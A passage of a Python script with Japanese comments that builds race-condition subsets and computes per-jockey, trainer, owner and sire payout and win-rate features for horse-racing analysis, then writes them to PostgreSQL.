moto_2010['dirtbabacd'] > 1)))].index) # 14重\nt216 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index) # 1422重\nt217 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index) # 2236重\nt218 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)))].index) # 14芝\nt219 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)))].index) # 1422芝\nt220 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)))].index) # 2236芝\nt221 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] == 0)))].index) # 14ダ\nt222 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] == 0)))].index) # 1422ダ\nt223 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] == 0)))].index) # 2236ダ\nt224 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 14良芝\nt225 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 1422良芝\nt226 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 2236良芝\nt227 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 14重芝\nt228 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 1422重芝\nt229 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 2236重芝\nt230 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 14良ダ\nt231 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 1422良ダ\nt232 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 2236良ダ\nt233 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 14重ダ\nt234 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 1422重ダ\nt235 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 2236重ダ\nt236 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 14芝内\nt237 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 1422芝内\nt238 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 2236芝内\nt239 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 14芝外\nt240 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 1422芝外\nt241 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 2236芝外\nt242 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 14良芝内\nt243 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 1422良芝内\nt244 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 2236良芝内\nt245 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 14良芝外\nt246 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 1422良芝外\nt247 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 2236良芝外\nt248 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 14重芝内\nt249 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 1422重芝内\nt250 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 2236重芝内\nt251 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 14重芝外\nt252 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 1422重芝内\nt253 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 2236重芝内\n# 馬場状態良・重関係\nt254 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index) # 良\nt255 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index) # 重\nt256 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 良芝\nt257 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 重芝\nt258 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 良ダ\nt259 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 重ダ\nt260 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 良芝内\nt261 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 重芝外\nt262 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 良芝外\nt263 = list(moto_2010[(((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 重芝内\n# 芝/ダ関係\nt264 = list(moto_2010[(((moto_2010['sibababacd'] > 0)))].index) # 芝\nt265 = list(moto_2010[(((moto_2010['sibababacd'] == 0)))].index) # ダ\nt266 = list(moto_2010[(((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 内芝\nt267 = list(moto_2010[(((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 外芝\n# endregion\n# 条件のindexをlistに格納\njyo_list = []\njyo_list.extend(\n [t1, t2, t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13, t14, t15, t16, t17, t18, t19, t20, t21, t22, t23, t24, t25,t26,\n t27, t28, t29, t30, t31, t32, t33, t34, t35, t36, t37, t38, t39, t40, t41, t42, t43, t44, t45, t46, t47, t48, t49,t50, t51, t52, t53, t54,\n t55, t56, t57, t58, t59, t60, t61, t62, t63, t64, t65, t66, t67, t68, t69, t70, t71, t72, t73, t74, t75, t76, t77,t78, t79, t80, t81, t82,\n t83, t84, t85, t86, t87, t88, t89, t90, t91, t92, t93, t94, t95, t96, t97, t98, t99, t100, t101, t102, t103, t104,t105, t106, t107, t108,\n t109, t110, t111, t112, t113, t114, t115, t116, t117, t118, t119, t120, t121, t122, t123, t124, t125, t126, t127,t128, t129, t130, t131,\n t132, t133, t134, t135, t136, t137, t138, t139, t140, t141, t142, t143, t144, t145, t146, t147, t148, t149, t150,t151, t152, t153, t154,\n t155, t156, t157, t158, t159, t160, t161, t162, t163, t164, t165, t166, t167, t168, t169, t170, t171, t172, t173,t174, t175, t176, t177,\n t178, t179, t180, t181, t182, t183, t184, t185, t186, t187, t188, t189, t190, t191, t192, t193, t194, t195, t196,t197, t198, t199, t200,\n t201, t202, t203, t204, t205, t206, t207, t208, t209, t210, t211, t212, t213, t214, t215, t216, t217, t218, t219,t220, t221, t222, t223,\n t224, t225, t226, t227, t228, t229, t230, t231, t232, t233, t234, t235, t236, t237, t238, t239, t240, t241, t242,t243, t244, t245, t246,\n t247, t248, t249, t250, t251, t252, t253, t254, t255, t256, t257, t258, t259, t260, t261, t262, t263, t264, t265,t266, t267]) # 全267条件\n# 払い戻しなどの集計用に必要な列(単勝/複勝払い戻し,確定順位)だけ抽出\nnp_moto_2010 = np.array(moto_data_2.loc[:, ['tan_harai', 'fuku_harai', 'kakuteijyuni']]) # Wall time: 46.3 ms to numpy\n# 集計データを格納する用のlistを作成 二次元配列(リストのリスト)11年×10場×50メイン\nkisyu_box_tanharai = [[] for torima in range(5500)] # n_uma_race用\nkisyu_box_fukuharai = [[] for torima in range(5500)] # n_uma_race用\nkisyu_box_syouritu = [[] for torima in range(5500)] # n_uma_race用\nkisyu_box_fukuritu = [[] for torima in range(5500)] # n_uma_race用\nchokyo_box_tanharai = [[] for torima in range(5500)] # n_uma_race用\nchokyo_box_fukuharai = [[] for torima in range(5500)] # n_uma_race用\nchokyo_box_syouritu = [[] for torima in range(5500)] # n_uma_race用\nchokyo_box_fukuritu = [[] for torima in range(5500)] # n_uma_race用\nbanu_box_tanharai = [[] for torima in range(5500)] # n_uma_race用\nbanu_box_fukuharai = [[] for torima in range(5500)] # n_uma_race用\nbanu_box_syouritu = [[] for torima in range(5500)] # n_uma_race用\nbanu_box_fukuritu = [[] for torima in range(5500)] # n_uma_race用\nsyu_box_tanharai = [[] for torima in range(5500)] # n_uma_race用\nsyu_box_fukuharai = [[] for torima in range(5500)] # n_uma_race用\nsyu_box_syouritu = [[] for torima in range(5500)] # n_uma_race用\nsyu_box_fukuritu = [[] for torima in range(5500)] # n_uma_race用\n# サンプル数確認用\nkisyu_sample = [[] for torima in range(5500)] # 騎手用 ★\nchokyo_sample = [[] for torima in range(5500)] # 調教師用 ★\nbanu_sample = [[] for torima in range(5500)] # 馬主用 ★\nsyu_sample = [[] for torima in range(5500)] # 種牡馬用 ★\n# uma\n# uma_box_tanharai=[[] for torima in range(100*len(uma_data))]#n_uma_race用 100000くらい\n# uma_box_fukuharai=[[] for torima in range(100*len(uma_data))]#n_uma_race用\n# uma_box_syouritu=[[] for torima in range(100*len(uma_data))]#n_uma_race用\n# uma_box_fukuritu=[[] for torima in range(100*len(uma_data))]#n_uma_race用\n# mainを追加するよう 11year\nkisyu_main_11 = [[] for torima in range(11)] # 騎手用 ★\nchokyo_main_11 = [[] for torima in range(11)] # 調教師用 ★\nbanu_main_11 = [[] for torima in range(11)] # 馬主用 ★\nsyu_main_11 = [[] for torima in range(11)] # 種牡馬用 ★\n# count用\ncount = 0\ncount_uma = 0\ncount_main = 0\n# nanのnp作成\nmat = np.zeros([1, len(jyo_list)])\nmat[:, :] = np.nan\n# データ作成 11年×10場×50個(メイン)=5500個\nfor i in range(11): # 11年分\n year_hani = 2011 + i # 2011~2021でデータを作る 2011年のデータは2012年に使う\n print(year_hani)\n # 対象年以下を指定\n year_list = list(moto_2010[(((moto_2010['year'] <= year_hani)))].index)\n # メイン取得用\n moto_main = moto_2010[moto_2010['year'] <= year_hani]\n # メインデータを抽出 data in last year\n kisyu_data = list(moto_main['kisyuryakusyo'].value_counts().to_dict().keys()) # 騎手 辞書にしてキーをlistで取得\n chokyo_data = list(moto_main['chokyosiryakusyo'].value_counts().to_dict().keys()) # 調教師 辞書にしてキーをlistで取得\n banu_data = list(moto_main['banusiname'].value_counts().to_dict().keys()) # 馬主 辞書にしてキーをlistで取得\n syu_data = list(moto_main['father'].value_counts().to_dict().keys()) # 種牡馬 辞書にしてキーをlistで取得\n # メイン追加用\n kisyu_main = []\n chokyo_main = []\n banu_main = []\n syu_main = []\n for jyonum in range(1, 11): # 競馬場コード10個 1-10\n print(jyonum)\n # 競馬場を指定\n basyo_list = list(moto_2010[(((moto_2010['jyocd'] == jyonum)))].index)\n yearbasyo_list = list(set(year_list) & set(basyo_list)) # 年と場所に関する条件\n # uma_data=list(moto_main['bamei'].value_counts().to_dict().keys())#bamei 辞書にしてキーをlistで取得\n for j in range(50): # 4つのメインに対して50個分データを作成\n # メインを指定\n kisyu_list = list(moto_2010[(((moto_2010['kisyuryakusyo'] == kisyu_data[j])))].index)\n chokyo_list = list(moto_2010[(((moto_2010['chokyosiryakusyo'] == chokyo_data[j])))].index)\n banu_list = list(moto_2010[(((moto_2010['banusiname'] == banu_data[j])))].index)\n syu_list = list(moto_2010[(((moto_2010['father'] == syu_data[j])))].index)\n # 追加\n if jyonum == 1: # 1場だけ\n print('できてます')\n kisyu_main.append(kisyu_data[j])\n chokyo_main.append(chokyo_data[j])\n banu_main.append(banu_data[j])\n syu_main.append(syu_data[j])\n # 条件を指定\n kisyu_index1 = list(set(kisyu_list) & set(yearbasyo_list))\n chokyo_index1 = list(set(chokyo_list) & set(yearbasyo_list))\n banu_list_index1 = list(set(banu_list) & set(yearbasyo_list))\n syu_index1 = list(set(syu_list) & set(yearbasyo_list))\n # list内包表記 mapの代わりになる https://qiita.com/KTakahiro1729/items/c9cb757473de50652374\n syukei_kisyu = [set(kisyu_index1) & set(i_nakami) for i_nakami in\n jyo_list] # 大list=list×267,それぞれのlistの中にindexが格納されている\n syukei_chokyo = [set(chokyo_index1) & set(i_nakami) for i_nakami in jyo_list]\n syukei_banu = [set(banu_list_index1) & set(i_nakami) for i_nakami in jyo_list]\n syukei_syu = [set(syu_index1) & set(i_nakami) for i_nakami in jyo_list]\n # サンプル少ないデータを平均値などで置き換えるかどうか\n # 格納\n # 騎手\n kisyu_box_tanharai[count] = [np.nanmean(np_moto_2010[list(i_nakami), 0]) for i_nakami in syukei_kisyu]\n kisyu_box_fukuharai[count] = [np.nanmean(np_moto_2010[list(i_nakami), 1]) for i_nakami in syukei_kisyu]\n kisyu_box_syouritu[count] = [np.nanmean(np_moto_2010[list(i_nakami), 2] == 1.0) * 100 for i_nakami in\n syukei_kisyu]\n kisyu_box_fukuritu[count] = [\n np.nanmean((np_moto_2010[list(i_nakami), 2] >= 1) & (np_moto_2010[list(i_nakami), 2] <= 3)) * 100 for\n i_nakami in syukei_kisyu]\n # 調教\n chokyo_box_tanharai[count] = [np.nanmean(np_moto_2010[list(i_nakami), 0]) for i_nakami in syukei_chokyo]\n chokyo_box_fukuharai[count] = [np.nanmean(np_moto_2010[list(i_nakami), 1]) for i_nakami in syukei_chokyo]\n chokyo_box_syouritu[count] = [np.nanmean(np_moto_2010[list(i_nakami), 2] == 1.0) * 100 for i_nakami in\n syukei_chokyo]\n chokyo_box_fukuritu[count] = [\n np.nanmean((np_moto_2010[list(i_nakami), 2] >= 1) & (np_moto_2010[list(i_nakami), 2] <= 3)) * 100 for\n i_nakami in syukei_chokyo]\n # 馬主\n banu_box_tanharai[count] = [np.nanmean(np_moto_2010[list(i_nakami), 0]) for i_nakami in syukei_banu]\n banu_box_fukuharai[count] = [np.nanmean(np_moto_2010[list(i_nakami), 1]) for i_nakami in syukei_banu]\n banu_box_syouritu[count] = [np.nanmean(np_moto_2010[list(i_nakami), 2] == 1.0) * 100 for i_nakami in\n syukei_banu]\n banu_box_fukuritu[count] = [\n np.nanmean((np_moto_2010[list(i_nakami), 2] >= 1) & (np_moto_2010[list(i_nakami), 2] <= 3)) * 100 for\n i_nakami in syukei_banu]\n # 種牡馬\n syu_box_tanharai[count] = [np.nanmean(np_moto_2010[list(i_nakami), 0]) for i_nakami in syukei_syu]\n syu_box_fukuharai[count] = [np.nanmean(np_moto_2010[list(i_nakami), 1]) for i_nakami in syukei_syu]\n syu_box_syouritu[count] = [np.nanmean(np_moto_2010[list(i_nakami), 2] == 1.0) * 100 for i_nakami in\n syukei_syu]\n syu_box_fukuritu[count] = [\n np.nanmean((np_moto_2010[list(i_nakami), 2] >= 1) & (np_moto_2010[list(i_nakami), 2] <= 3)) * 100 for\n i_nakami in syukei_syu]\n # データないものは成績悪めのデータで置き換え?\n # サンプル数確認用 ★\n kisyu_sample[count] = [len(v) for v in syukei_kisyu] # サンプル数を格納\n chokyo_sample[count] = [len(v) for v in syukei_chokyo] # サンプル数を格納\n banu_sample[count] = [len(v) for v in syukei_banu] # サンプル数を格納\n syu_sample[count] = [len(v) for v in syukei_syu] # サンプル数を格納\n #\n count += 1 # 5000まで行く\n\n '''\n for j in range(len(uma_data)):#馬ごとの特徴量を作成する。しかし全馬に対してデータを作成すると時間がかかりすぎるので,コメントアウト\n #メインを指定\n uma_list=list(moto_2010[(((moto_2010['bamei']==uma_data[j])))].index)\n #条件を指定\n uma_index1=list(set(uma_list)&set(yearbasyo_list))\n if len(uma_index1)==0:#馬いないとき\n uma_box_tanharai[count_uma]=mat\n uma_box_fukuharai[count_uma]=mat\n uma_box_syouritu[count_uma]=mat\n uma_box_fukuritu[count_uma]=mat\n else:\n #list内包表記 mapの代わりになる https://qiita.com/KTakahiro1729/items/c9cb757473de50652374\n syukei_uma=[set(uma_index1)&set(i_nakami) for i_nakami in jyo_list]\n #サンプル少ないデータを平均値などで置き換えるかどうか\n #格納\n #騎手\n uma_box_tanharai[count_uma]=[np.nanmean(np_moto_2010[list(i_nakami),0]) for i_nakami in syukei_uma]\n uma_box_fukuharai[count_uma]=[np.nanmean(np_moto_2010[list(i_nakami),1]) for i_nakami in syukei_uma]\n uma_box_syouritu[count_uma]=[np.nanmean(np_moto_2010[list(i_nakami),2]==1.0)*100 for i_nakami in syukei_uma]\n uma_box_fukuritu[count_uma]=[np.nanmean((np_moto_2010[list(i_nakami),2]>=1)&(np_moto_2010[list(i_nakami),2]<=3))*100 for i_nakami in syukei_uma]\n #データないものは成績悪めのデータで置き換え?\n count_uma+=1\n '''\n # 一年分追加\n kisyu_main_11[count_main] = kisyu_main # mainを格納\n chokyo_main_11[count_main] = chokyo_main # mainを格納\n banu_main_11[count_main] = banu_main # mainを格納\n syu_main_11[count_main] = syu_main # mainを格納\n count_main += 1 # 11年分まで行く\n\n# 4つのメインについての特徴量をpd.DataFrameに変換\npdk1 = pd.DataFrame(kisyu_box_tanharai)\npdk2 = pd.DataFrame(kisyu_box_fukuharai)\npdk3 = pd.DataFrame(kisyu_box_syouritu)\npdk4 = pd.DataFrame(kisyu_box_fukuritu)\npdc1 = pd.DataFrame(chokyo_box_tanharai)\npdc2 = pd.DataFrame(chokyo_box_fukuharai)\npdc3 = pd.DataFrame(chokyo_box_syouritu)\npdc4 = pd.DataFrame(chokyo_box_fukuritu)\npdb1 = pd.DataFrame(banu_box_tanharai)\npdb2 = pd.DataFrame(banu_box_fukuharai)\npdb3 = pd.DataFrame(banu_box_syouritu)\npdb4 = pd.DataFrame(banu_box_fukuritu)\npds1 = pd.DataFrame(syu_box_tanharai)\npds2 = pd.DataFrame(syu_box_fukuharai)\npds3 = pd.DataFrame(syu_box_syouritu)\npds4 = pd.DataFrame(syu_box_fukuritu)\n# サンプル数\nsample1 = pd.DataFrame(kisyu_sample)\nsample2 = pd.DataFrame(chokyo_sample)\nsample3 = pd.DataFrame(banu_sample)\nsample4 = pd.DataFrame(syu_sample)\n# メイン\nmain1 = pd.DataFrame(kisyu_main_11)\nmain2 = pd.DataFrame(chokyo_main_11)\nmain3 = pd.DataFrame(banu_main_11)\nmain4 = pd.DataFrame(syu_main_11)\n# index振る\npdk10 = pdk1.reset_index() # indexを与える\npdk20 = pdk2.reset_index() # indexを与える\npdk30 = pdk3.reset_index() # indexを与える\npdk40 = pdk4.reset_index() # indexを与える\npdc10 = pdc1.reset_index() # indexを与える\npdc20 = pdc2.reset_index() # indexを与える\npdc30 = pdc3.reset_index() # indexを与える\npdc40 = pdc4.reset_index() # indexを与える\npdb10 = pdb1.reset_index() # indexを与える\npdb20 = pdb2.reset_index() # indexを与える\npdb30 = pdb3.reset_index() # indexを与える\npdb40 = pdb4.reset_index() # indexを与える\npds10 = pds1.reset_index() # indexを与える\npds20 = pds2.reset_index() # indexを与える\npds30 = pds3.reset_index() # indexを与える\npds40 = pds4.reset_index() # indexを与える\n# サンプル数も振る\nsample10 = sample1.reset_index() # indexを与える\nsample20 = sample2.reset_index() # indexを与える\nsample30 = sample3.reset_index() # indexを与える\nsample40 = sample4.reset_index() # indexを与える\n# mainも振る\nmain10 = main1.reset_index() # indexを与える\nmain20 = main2.reset_index() # indexを与える\nmain30 = main3.reset_index() # indexを与える\nmain40 = main4.reset_index() # indexを与える\n# データpostgreへ\nconn = psycopg2.connect(\" user=\" + USER + \" dbname=\" + DB_NAME + \" password=\" + PASSWORD) # データベースを開く\ncursor = conn.cursor() # データベースを操作できるようにする\n# ↓はDBに出力済み\npdk10.to_sql(\"t_kisyu_box_tanharai\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdk20.to_sql(\"t_kisyu_box_fukuharai\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdk30.to_sql(\"t_kisyu_box_syouritu\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdk40.to_sql(\"t_kisyu_box_fukuritu\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdc10.to_sql(\"t_chokyo_box_tanharai\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdc20.to_sql(\"t_chokyo_box_fukuharai\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdc30.to_sql(\"t_chokyo_box_syouritu\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdc40.to_sql(\"t_chokyo_box_fukuritu\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdb10.to_sql(\"t_banu_box_tanharai\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdb20.to_sql(\"t_banu_box_fukuharai\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdb30.to_sql(\"t_banu_box_syouritu\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npdb40.to_sql(\"t_banu_box_fukuritu\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npds10.to_sql(\"t_syu_box_tanharai\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npds20.to_sql(\"t_syu_box_fukuharai\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npds30.to_sql(\"t_syu_box_syouritu\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\npds40.to_sql(\"t_syu_box_fukuritu\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\nsample10.to_sql(\"t_kisyu_sample\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\nsample20.to_sql(\"t_chokyo_sample\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\nsample30.to_sql(\"t_banu_sample\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\nsample40.to_sql(\"t_syu_sample\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\nmain10.to_sql(\"t_kisyu_main\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\nmain20.to_sql(\"t_chokyo_main\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\nmain30.to_sql(\"t_banu_main\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\nmain40.to_sql(\"t_syu_main\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\n# -------------実行ここまで\ncursor.close() # データベースの操作を終了する\nconn.commit() # 変更をデータベースに保存\nconn.close() # データベースを閉じる\n# endregion\n\n# region targetencodingのデータを欠測処理して,使いやすい形にする 5s たぶんこれはいらなくなった\n#targetencodingのデータを欠測処理して,使いやすい形にする\n#index直し\nimport time\nstart = time.time()\n\nakisyu_box_tanharai = akisyu_box_tanharai.sort_values('index')#indexがおかしいので,昇順で並べ替え\nakisyu_box_tanharai1 = akisyu_box_tanharai.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nakisyu_box_tanharai1 = akisyu_box_tanharai1.drop(['index'], axis=1)#index列削除\nakisyu_box_fukuharai = akisyu_box_fukuharai.sort_values('index')#indexがおかしいので,昇順で並べ替え\nakisyu_box_fukuharai1 = akisyu_box_fukuharai.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nakisyu_box_fukuharai1 = akisyu_box_fukuharai1.drop(['index'], axis=1)#index列削除\nakisyu_box_syouritu = akisyu_box_syouritu.sort_values('index')#indexがおかしいので,昇順で並べ替え\nakisyu_box_syouritu1 = akisyu_box_syouritu.reset_index(drop=True)#一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nakisyu_box_syouritu1 = akisyu_box_syouritu1.drop(['index'], axis=1)#index列削除\nakisyu_box_fukuritu = 